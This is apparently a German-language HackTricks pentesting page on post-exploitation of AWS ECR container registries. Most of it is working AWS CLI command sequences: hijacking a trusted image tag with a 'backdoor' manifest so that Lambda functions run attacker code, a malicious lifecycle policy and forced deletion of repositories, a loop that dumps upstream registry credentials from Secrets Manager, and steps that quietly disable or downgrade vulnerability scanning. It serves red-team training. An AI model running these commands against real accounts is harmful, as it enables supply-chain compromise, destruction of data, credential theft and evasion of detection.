AWS - ECR Post Exploitation

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

ECR

Für weitere Informationen siehe

AWS - ECR Enum

Login, Pull & Push

# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account

# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list

# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL

# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest

# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'

## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"

Nach dem Herunterladen der Images sollten Sie sie auf sensible Informationen prüfen:

Docker Forensics - HackTricks

Überschreiben eines vertrauenswürdigen Tags via ecr:PutImage (Tag Hijacking / Supply Chain)

Wenn Konsumenten per Tag deployen (zum Beispiel stable, prod, latest) und Tags veränderbar sind, kann ecr:PutImage verwendet werden, um ein vertrauenswürdiges Tag umzuleiten auf vom Angreifer kontrollierten Inhalt, indem ein Image-Manifest unter diesem Tag hochgeladen wird.

Eine gängige Vorgehensweise ist, das Manifest eines bestehenden vom Angreifer kontrollierten Tag (oder digest) zu kopieren und damit das vertrauenswürdige Tag zu überschreiben.

REGION=us-east-1
REPO="<repo_name>"
SRC_TAG="backdoor"   # attacker-controlled tag already present in the repository
DST_TAG="stable"     # trusted tag used by downstream systems

# 1) Fetch the manifest behind the attacker tag
MANIFEST="$(aws ecr batch-get-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-ids imageTag="$SRC_TAG" \
--query 'images[0].imageManifest' \
--output text)"

# 2) Overwrite the trusted tag with that manifest
aws ecr put-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-tag "$DST_TAG" \
--image-manifest "$MANIFEST"

# 3) Verify both tags now point to the same digest
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text

Auswirkung: jede Workload, die .../$REPO:$DST_TAG zieht, erhält vom Angreifer ausgewählten Inhalt, ohne dass Änderungen an IaC, Kubernetes-Manifeste oder Task-Definitionen erforderlich sind.

Downstream-Consumer-Beispiel: Lambda-Container-Images aktualisieren sich automatisch bei Tag-Updates

Wenn eine Lambda-Funktion als Container-Image (PackageType=Image) bereitgestellt ist und einen ECR tag (z. B. :stable, :prod) anstelle eines Digests verwendet, kann das Überschreiben dieses Tags eine Supply-Chain-Manipulation in Codeausführung innerhalb der Lambda execution role verwandeln, sobald die Funktion aktualisiert wird.

Wie man diese Situation ermittelt:

REGION=us-east-1

# 1) Find image-based Lambda functions and their ImageUri
aws lambda list-functions --region "$REGION" \
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
tr '\t' '\n' | while read -r fn; do
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
done

# 2) Check whether a function references a mutable tag (contains ":<tag>")
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.

Wie ein Refresh häufig passiert:

  • CI/CD oder GitOps ruft regelmäßig lambda:UpdateFunctionCode auf (auch mit derselben ImageUri), um Lambda zu zwingen, den Tag erneut aufzulösen.
  • Ereignisgesteuerte Automatisierung überwacht ECR-Image-Ereignisse (Push/Tag-Updates) und löst eine Aktualisierungs-Lambda bzw. Automatisierung aus.

Wenn der vertrauenswürdige Tag überschrieben werden kann und ein Refresh-Mechanismus vorhanden ist, wird bei der nächsten Ausführung der Funktion vom Angreifer kontrollierter Code ausgeführt, der dann Umgebungsvariablen lesen, auf Netzwerkressourcen zugreifen und AWS-APIs mit der Lambda-Rolle aufrufen kann (z. B. secretsmanager:GetSecretValue).

ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage

Ein Angreifer mit einer dieser Berechtigungen kann eine Lifecycle-Policy erstellen oder ändern, um alle Images im Repository zu löschen, und anschließend das gesamte ECR-Repository löschen. Das würde zum Verlust aller im Repository gespeicherten Container-Images führen.

# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json

# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json

# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force

# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force

# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)

Wenn ECR Pull‑Through Cache für authentifizierte Upstream-Registries (Docker Hub, GHCR, ACR, etc.) konfiguriert ist, werden die Upstream-Anmeldeinformationen im AWS Secrets Manager mit einem vorhersehbaren Namenspräfix gespeichert: ecr-pullthroughcache/. Betreiber gewähren ECR-Admins manchmal umfassenden Lesezugriff auf AWS Secrets Manager, was credential exfiltration und Wiederverwendung der Anmeldeinformationen außerhalb von AWS ermöglicht.

Voraussetzungen

  • secretsmanager:ListSecrets
  • secretsmanager:GetSecretValue

Kandidaten für PTC-Secrets auflisten

aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text

Gefundene secrets ausgeben und häufige Felder parsen

for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done

Optional: Überprüfe leaked creds gegen upstream (read‑only login)

echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io

Auswirkung

  • Das Lesen dieser Secrets Manager-Einträge liefert wiederverwendbare Upstream-Registry-Anmeldeinformationen (username/password oder token), die außerhalb von AWS missbraucht werden können, um private Images zu pullen oder je nach Upstream-Berechtigungen auf zusätzliche Repositories zuzugreifen.

Registry-weite Tarnung: disable or downgrade scanning via ecr:PutRegistryScanningConfiguration

Ein Angreifer mit Registry-Level-ECR-Berechtigungen kann stillschweigend die automatische Schwachstellenscannung für ALLE Repositories reduzieren oder deaktivieren, indem er die Registry-Scanning-Konfiguration auf BASIC setzt, ohne scan-on-push‑Regeln. Dadurch werden neue Image-Pushes nicht automatisch gescannt, wodurch verwundbare oder bösartige Images verborgen werden.

Voraussetzungen

  • ecr:PutRegistryScanningConfiguration
  • ecr:GetRegistryScanningConfiguration
  • ecr:PutImageScanningConfiguration (optional, per‑repo)
  • ecr:DescribeImages, ecr:DescribeImageScanFindings (Verifikation)

Registry-weite Herabstufung auf manuell (keine automatischen Scans)

REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"

# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'

Test mit einem repo und image

acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test

# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true

Optional: Weiteres Herabstufen auf Repository-Ebene

# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false

Auswirkung

  • Neue Images, die in die Registry gepusht werden, werden nicht automatisch gescannt, was die Sichtbarkeit von verwundbarem oder bösartigem Inhalt verringert und die Erkennung verzögert, bis ein manueller Scan gestartet wird.

Registry‑weiter Downgrade der Scanning-Engine via ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)

Verringere die Qualität der Schwachstellenerkennung in der gesamten Registry, indem du die BASIC-Scan-Engine vom Standard AWS_NATIVE auf die veraltete CLAIR-Engine umstellst. Das deaktiviert Scans nicht, kann jedoch die Ergebnisse/Abdeckung erheblich verändern. Kombiniere dies mit einer BASIC-Registry-Scanning-Konfiguration ohne Regeln, um Scans nur manuell auszuführen.

Anforderungen

  • ecr:PutAccountSetting, ecr:GetAccountSetting
  • (Optional) ecr:PutRegistryScanningConfiguration, ecr:GetRegistryScanningConfiguration

Auswirkung

  • Registry-Einstellung BASIC_SCAN_TYPE_VERSION wird auf CLAIR gesetzt, sodass nachfolgende BASIC-Scans mit der herabgestuften Engine ausgeführt werden. CloudTrail protokolliert den PutAccountSetting API-Aufruf.

Schritte

REGION=us-east-1

# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true

# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR

# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION

# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true

# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE

ECR-Images auf Schwachstellen scannen

#!/bin/bash

# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images

region=<region>
profile=<aws_profile>

registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')

# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com

while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks